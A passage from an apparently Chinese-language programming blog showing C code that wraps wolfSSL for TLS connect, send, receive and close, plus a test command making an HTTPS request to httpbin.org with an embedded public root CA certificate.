</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">handle</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;malloc failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ret</span> <span class="o">=</span> <span class="nf">_tls_net_init</span><span class="p">(</span><span class="n">handle</span><span class="p">,</span> <span class="n">param</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;tls net init failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">dlg_info</span><span class="p">(</span><span class="s">&#34;Connecting to %s:%d...&#34;</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 先创建 tcp 连接
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">handle</span><span class="o">-&gt;</span><span class="n">fd</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="nf">qtf_tcp_connect</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">fd</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;qtf_tcp_connect failed&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 将套接字 fd 绑定到 ssl 操作句柄 
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nf">wolfSSL_set_fd</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">,</span> <span class="n">handle</span><span class="o">-&gt;</span><span class="n">fd</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">    <span class="c1">// 调用 wolfSSL_connect tls 连接
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">ret</span> <span class="o">=</span> <span class="nf">wolfSSL_connect</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="n">SSL_SUCCESS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="nf">wolfSSL_get_error</span><span class="p">(</span><span class="n">handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">,</span> <span class="n">ret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;wolfSSL_connect failed ret:%d, 0x%04x&#34;</span><span class="p">,</span><span class="n">ret</span><span class="p">,</span> <span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">?</span> <span class="o">-</span><span class="nl">ret</span> <span class="p">:</span> <span class="n">ret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">goto</span> <span class="n">error</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">handle</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nl">error</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">handle</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">__tls_net_deinit</span><span class="p">(</span><span class="n">handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">free</span><span class="p">(</span><span class="n">handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">qtf_tls_send</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">handle</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">timeout_ms</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="n">tls_handle</span> <span class="o">=</span> <span class="p">(</span><span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="p">)</span><span class="n">handle</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">send_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">timer_t</span> <span class="n">timer</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">handle</span> <span class="o">||</span> <span class="o">!</span><span class="n">buf</span> <span class="o">||</span> <span class="o">!</span><span class="n">len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid param&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">qtf_timer_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">timer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">qtf_timer_countdown_ms</span><span class="p">(</span><span class="o">&amp;</span><span class="n">timer</span><span class="p">,</span> <span class="n">timeout_ms</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">do</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="nf">wolfSSL_write</span><span class="p">(</span><span class="n">tls_handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">buf</span> <span class="o">+</span> <span class="n">send_len</span><span class="p">,</span> <span class="n">len</span> <span class="o">-</span> <span class="n">send_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">send_len</span> <span class="o">+=</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;wolfSSL_write failed 0x%04x&#34;</span><span class="p">,</span> <span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">?</span> <span class="o">-</span><span class="nl">ret</span> <span class="p">:</span> <span class="n">ret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">send_len</span> <span class="o">&lt;</span> <span class="n">len</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nf">qtf_timer_expired</span><span class="p">(</span><span class="o">&amp;</span><span class="n">timer</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">send_len</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">send_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">qtf_tls_recv</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">handle</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">timeout_ms</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="n">tls_handle</span> <span class="o">=</span> <span class="p">(</span><span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="p">)</span><span class="n">handle</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">timer_t</span> <span class="n">timer</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">recv_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">handle</span> <span class="o">||</span> <span class="o">!</span><span class="n">buf</span> <span class="o">||</span> <span class="o">!</span><span class="n">len</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid param&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">qtf_timer_init</span><span class="p">(</span><span class="o">&amp;</span><span class="n">timer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">qtf_timer_countdown_ms</span><span class="p">(</span><span class="o">&amp;</span><span class="n">timer</span><span class="p">,</span> <span class="n">timeout_ms</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">do</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">ret</span> <span class="o">=</span> <span class="nf">wolfSSL_read</span><span class="p">(</span><span class="n">tls_handle</span><span class="o">-&gt;</span><span class="n">ssl</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">buf</span> <span class="o">+</span> <span class="n">recv_len</span><span class="p">,</span> <span class="n">len</span> <span class="o">-</span> <span class="n">recv_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">recv_len</span> <span class="o">+=</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;wolfSSL_read failed 0x%04x&#34;</span><span class="p">,</span> <span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">?</span> <span class="o">-</span><span class="nl">ret</span> <span class="p">:</span> <span class="n">ret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">recv_len</span> <span class="o">&lt;</span> <span class="n">len</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nf">qtf_timer_expired</span><span class="p">(</span><span class="o">&amp;</span><span class="n">timer</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">recv_len</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">recv_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">qtf_tls_close</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">handle</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="n">tls_handle</span> <span class="o">=</span> <span class="p">(</span><span class="kt">qtf_tls_handle_t</span> <span class="o">*</span><span class="p">)</span><span class="n">handle</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">handle</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">dlg_error</span><span class="p">(</span><span class="s">&#34;invalid param&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nf">__tls_net_deinit</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="示例">示例</h2>
<p>上层封装的接口没有变，测试例子可以直接使用之前测试 mbedtls tls 连接的例子。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span><span class="lnt">83
</span><span class="lnt">84
</span><span class="lnt">85
</span><span class="lnt">86
</span><span class="lnt">87
</span><span class="lnt">88
</span><span class="lnt">89
</span><span class="lnt">90
</span><span class="lnt">91
</span><span class="lnt">92
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">shell_tlstest_cmd</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">qtf_tls_conn_param_t</span> <span class="n">tls_param</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">	<span class="kt">void</span> <span class="o">*</span><span class="n">tls_handle</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">char</span> <span class="n">recv_buf</span><span class="p">[</span><span class="mi">1024</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">const</span> <span class="kt">char</span> <span class="n">request</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&#34;GET /get?a=1 HTTP/1.1</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">		<span class="s">&#34;Host: httpbin.org</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">		<span class="s">&#34;Connection: close</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">		<span class="s">&#34;</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">test_ca_cert</span> <span class="o">=</span>
</span></span><span class="line"><span class="cl">		<span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">			<span class="s">&#34;-----BEGIN CERTIFICATE-----</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;1Wrjsok6Vjk4bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdG</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;snUOhugZitVtbNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJ</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;U26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N8</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;9iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8E</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;BTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0B</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;AQUFAAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOz</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;yj1hTdNGCbM+w6DjY1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;38NflNUVyRRBnMRddWQVDf9VMOyGj/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymP</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;AbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhHhm4qxFYxldBniYUr+WymXUad</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;DKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveCX4XSQRjbgbME</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;HMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A==</span><span class="se">\r\n</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl">			<span class="s">&#34;-----END CERTIFICATE-----&#34;</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">auth_mode</span> <span class="o">=</span> <span class="n">QTF_TLS_AUTH_MODE_CERT</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">verify_mode</span> <span class="o">=</span> <span class="n">QTF_TLS_VERIFY_MODE_OPTIONAL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">hanshake_timeout_ms</span> <span class="o">=</span> <span class="mi">10000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">ca_cert</span> <span class="o">=</span> <span class="n">test_ca_cert</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">ca_cert_len</span> <span class="o">=</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">test_ca_cert</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">client_cert</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">client_cert_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">client_key</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">client_key_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">client_key_passwd</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">client_key_passwd_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">psk</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">psk_len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">psk_id</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">debug_level</span> <span class="o">=</span> <span class="n">QTF_TLS_DEBUG_LEVEL_ERROR</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">tls_version</span> <span class="o">=</span> <span class="n">QTF_TLS_VERSION_TLS1_2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">tls_param</span><span class="p">.</span><span class="n">max_frag_len</span> <span class="o">=</span> <span class="n">QTF_TLS_MAX_FRAG_LEN_NO_USE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">tls_handle</span> <span class="o">=</span> <span class="nf">qtf_tls_connect</span><span class="p">(</span><span class="s">&#34;httpbin.org&#34;</span><span class="p">,</span> <span class="mi">443</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">tls_param</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="n">tls_handle</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nf">shell_printf</span><span class="p">(</span><span class="s">&#34;tls connect success</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">else</span>
